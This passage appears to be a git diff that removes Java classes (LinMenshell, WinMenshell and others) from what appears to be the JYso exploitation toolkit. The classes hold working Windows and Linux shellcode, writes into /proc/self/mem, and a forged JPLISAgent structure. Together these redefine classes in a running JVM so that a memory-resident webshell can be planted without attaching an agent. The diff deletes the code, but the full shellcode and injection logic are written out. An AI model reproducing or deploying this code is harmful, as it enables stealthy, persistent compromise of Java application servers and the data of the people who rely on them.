(byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3};
|
||||
byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41};
|
||||
if (pointerLength == 4) {
|
||||
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
|
||||
stub = new byte[]{0x44, 0x43, 0x42, 0x41};
|
||||
}
|
||||
buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength));
|
||||
classBody[7] = 0x32;
|
||||
|
||||
Class<?> windowsVirtualMachine;
|
||||
System.loadLibrary("attach");
|
||||
try {
|
||||
windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine");
|
||||
} catch (ClassNotFoundException e) {
|
||||
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16};
|
||||
ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
windowsVirtualMachine = (Class<?>) defineClass.invoke(classLoader, bytes, 0, bytes.length);
|
||||
}
|
||||
|
||||
Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class);
|
||||
method.setAccessible(true);
|
||||
method.invoke(null, -1, buf, "enqueue", "enqueue", null);
|
||||
|
||||
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
|
||||
if (pointerLength == 4) {
|
||||
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
|
||||
} else {
|
||||
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
|
||||
}
|
||||
|
||||
redefineClasses(className, classBody, JPLISAgent);
|
||||
}
|
||||
|
||||
/**
|
||||
* long 转字节数组,小端
|
||||
*/
|
||||
public static byte[] long2ByteArray_Little_Endian(long l, int length) {
|
||||
byte[] array = new byte[length];
|
||||
for (int i = 0; i < array.length; i++) {
|
||||
array[i] = (byte) (l >> (i * 8));
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) {
|
||||
for (int i = 0; i < bytes.length; i++) {
|
||||
boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等;
|
||||
for (int j = 0; j < byteSource.length; j++) {
|
||||
if (i + j < bytes.length && bytes[i + j] == byteSource[j]) {
|
||||
} else {
|
||||
bl = false;
|
||||
}
|
||||
}
|
||||
if (bl) {
|
||||
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) {
|
||||
try {
|
||||
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
|
||||
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
|
||||
constructor.setAccessible(true);
|
||||
Object inst = constructor.newInstance(JPLISAgent, true, false);
|
||||
|
||||
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
|
||||
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
|
||||
redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}});
|
||||
} catch (Throwable error) {
|
||||
error.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,235 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.FileReader;
|
||||
import java.io.IOException;
|
||||
import java.io.RandomAccessFile;
|
||||
import java.lang.instrument.ClassDefinition;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
|
||||
public class LinMenshell {
|
||||
|
||||
private static final int SHT_DYNSYM = 11;
|
||||
private static final int STT_FUNC = 2;
|
||||
private static final int STT_GNU_IFUNC = 10;
|
||||
public static String className;
|
||||
public static byte[] classBody;
|
||||
|
||||
private LinMenshell() throws Exception {
|
||||
|
||||
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
|
||||
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
|
||||
field1.setAccessible(true);
|
||||
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
|
||||
field1.setBoolean(null, true);
|
||||
|
||||
FileReader fin = new FileReader("/proc/self/maps");
|
||||
BufferedReader reader = new BufferedReader(fin);
|
||||
String line;
|
||||
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
String[] splits = line.trim().split(" ");
|
||||
if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
|
||||
String[] addr_range = splits[0].split("-");
|
||||
long libbase = Long.parseLong(addr_range[0], 16);
|
||||
String elfpath = splits[splits.length - 1];
|
||||
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
|
||||
} else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
|
||||
String[] addr_range = splits[0].split("-");
|
||||
long libbase = Long.parseLong(addr_range[0], 16);
|
||||
String elfpath = splits[splits.length - 1];
|
||||
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
|
||||
}
|
||||
|
||||
if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
|
||||
break;
|
||||
}
|
||||
fin.close();
|
||||
|
||||
//修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv
|
||||
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
|
||||
//RSP 16字节对齐
|
||||
byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0};
|
||||
|
||||
byte[] movabs_rax = {0x48, (byte) 0xb8};
|
||||
ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);
|
||||
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||
buffer.putLong(0, JNI_GetCreatedJavaVMs);
|
||||
|
||||
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
|
||||
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
|
||||
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
|
||||
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3};
|
||||
|
||||
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
|
||||
long landingpad = RandomAccessFile_length;
|
||||
|
||||
byte[] backup = new byte[shellcode_len];
|
||||
fout.seek(landingpad);
|
||||
fout.read(backup);
|
||||
|
||||
|
||||
fout.seek(landingpad);
|
||||
fout.write(stack_align);
|
||||
fout.write(movabs_rax);
|
||||
fout.write(buffer.array());
|
||||
fout.write(b);
|
||||
fout.close();
|
||||
|
||||
|
||||
long native_jvmtienv = fout.length(); //触发执行
|
||||
System.out.printf("native_jvmtienv %x\n", native_jvmtienv);
|
||||
|
||||
//恢复代码
|
||||
fout = new RandomAccessFile("/proc/self/mem", "rw");
|
||||
fout.seek(RandomAccessFile_length);
|
||||
fout.write(backup);
|
||||
fout.close();
|
||||
|
||||
Unsafe unsafe = null;
|
||||
try {
|
||||
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) field.get(null);
|
||||
} catch (Exception e) {
|
||||
throw new AssertionError(e);
|
||||
}
|
||||
//libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 )
|
||||
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
|
||||
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
|
||||
long JPLISAgent = unsafe.allocateMemory(0x1000);
|
||||
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
|
||||
//利用伪造的JPLISAgent结构实例化InstrumentationImpl
|
||||
try {
|
||||
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
|
||||
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
|
||||
constructor.setAccessible(true);
|
||||
Object inst = constructor.newInstance(JPLISAgent, true, false);
|
||||
|
||||
|
||||
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
|
||||
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
|
||||
redefineClazz.invoke(inst, new Object[]{
|
||||
new ClassDefinition[]{
|
||||
definition
|
||||
}
|
||||
});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
fout.getFD();
|
||||
|
||||
}
|
||||
|
||||
private static int ELF_ST_TYPE(int x) {
|
||||
return (x & 0xf);
|
||||
}
|
||||
|
||||
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
|
||||
long func_ptr = 0;
|
||||
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
|
||||
|
||||
byte[] e_ident = new byte[16];
|
||||
fin.read(e_ident);
|
||||
short e_type = Short.reverseBytes(fin.readShort());
|
||||
short e_machine = Short.reverseBytes(fin.readShort());
|
||||
int e_version = Integer.reverseBytes(fin.readInt());
|
||||
long e_entry = Long.reverseBytes(fin.readLong());
|
||||
long e_phoff = Long.reverseBytes(fin.readLong());
|
||||
long e_shoff = Long.reverseBytes(fin.readLong());
|
||||
int e_flags = Integer.reverseBytes(fin.readInt());
|
||||
short e_ehsize = Short.reverseBytes(fin.readShort());
|
||||
short e_phentsize = Short.reverseBytes(fin.readShort());
|
||||
short e_phnum = Short.reverseBytes(fin.readShort());
|
||||
short e_shentsize = Short.reverseBytes(fin.readShort());
|
||||
short e_shnum = Short.reverseBytes(fin.readShort());
|
||||
short e_shstrndx = Short.reverseBytes(fin.readShort());
|
||||
|
||||
int sh_name = 0;
|
||||
int sh_type = 0;
|
||||
long sh_flags = 0;
|
||||
long sh_addr = 0;
|
||||
long sh_offset = 0;
|
||||
long sh_size = 0;
|
||||
int sh_link = 0;
|
||||
int sh_info = 0;
|
||||
long sh_addralign = 0;
|
||||
long sh_entsize = 0;
|
||||
|
||||
for (int i = 0; i < e_shnum; ++i) {
|
||||
fin.seek(e_shoff + i * 64);
|
||||
sh_name = Integer.reverseBytes(fin.readInt());
|
||||
sh_type = Integer.reverseBytes(fin.readInt());
|
||||
sh_flags = Long.reverseBytes(fin.readLong());
|
||||
sh_addr = Long.reverseBytes(fin.readLong());
|
||||
sh_offset = Long.reverseBytes(fin.readLong());
|
||||
sh_size = Long.reverseBytes(fin.readLong());
|
||||
sh_link = Integer.reverseBytes(fin.readInt());
|
||||
sh_info = Integer.reverseBytes(fin.readInt());
|
||||
sh_addralign = Long.reverseBytes(fin.readLong());
|
||||
sh_entsize = Long.reverseBytes(fin.readLong());
|
||||
if (sh_type == SHT_DYNSYM) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int symtab_shdr_sh_link = sh_link;
|
||||
long symtab_shdr_sh_size = sh_size;
|
||||
long symtab_shdr_sh_entsize = sh_entsize;
|
||||
long symtab_shdr_sh_offset = sh_offset;
|
||||
|
||||
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
|
||||
sh_name = Integer.reverseBytes(fin.readInt());
|
||||
sh_type = Integer.reverseBytes(fin.readInt());
|
||||
sh_flags = Long.reverseBytes(fin.readLong());
|
||||
sh_addr = Long.reverseBytes(fin.readLong());
|
||||
sh_offset = Long.reverseBytes(fin.readLong());
|
||||
sh_size = Long.reverseBytes(fin.readLong());
|
||||
sh_link = Integer.reverseBytes(fin.readInt());
|
||||
sh_info = Integer.reverseBytes(fin.readInt());
|
||||
sh_addralign = Long.reverseBytes(fin.readLong());
|
||||
sh_entsize = Long.reverseBytes(fin.readLong());
|
||||
|
||||
long symstr_shdr_sh_offset = sh_offset;
|
||||
|
||||
long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0;
|
||||
for (long i = 0; i < cnt; ++i) {
|
||||
fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i);
|
||||
int st_name = Integer.reverseBytes(fin.readInt());
|
||||
byte st_info = fin.readByte();
|
||||
byte st_other = fin.readByte();
|
||||
short st_shndx = Short.reverseBytes(fin.readShort());
|
||||
long st_value = Long.reverseBytes(fin.readLong());
|
||||
long st_size = Long.reverseBytes(fin.readLong());
|
||||
if (st_value == 0
|
||||
|| st_name == 0
|
||||
|| (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
fin.seek(symstr_shdr_sh_offset + st_name);
|
||||
String name = "";
|
||||
byte ch = 0;
|
||||
while ((ch = fin.readByte()) != 0) {
|
||||
name += (char) ch;
|
||||
}
|
||||
|
||||
if (sym.equals(name)) {
|
||||
func_ptr = libbase + st_value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fin.close();
|
||||
|
||||
return func_ptr;
|
||||
}
|
||||
}
|
||||
@@ -1,111 +0,0 @@
|
||||
package com.qi4l.JYso.template.Agent;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.lang.instrument.ClassDefinition;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
|
||||
public class WinMenshell {
|
||||
public static int pointerLength = 8;
|
||||
public static String className;
|
||||
public static byte[] classBody;
|
||||
|
||||
public WinMenshell() throws Exception {
|
||||
|
||||
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
|
||||
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
|
||||
field1.setAccessible(true);
|
||||
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL);
|
||||
field1.setBoolean(null, true);
|
||||
|
||||
Unsafe unsafe = null;
|
||||
try {
|
||||
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
|
||||
field.setAccessible(true);
|
||||
unsafe = (sun.misc.Unsafe) field.get(null);
|
||||
} catch (Exception e) {
|
||||
throw new AssertionError(e);
|
||||
}
|
||||
//伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用
|
||||
long JPLISAgent = unsafe.allocateMemory(0x1000);
|
||||
|
||||
byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 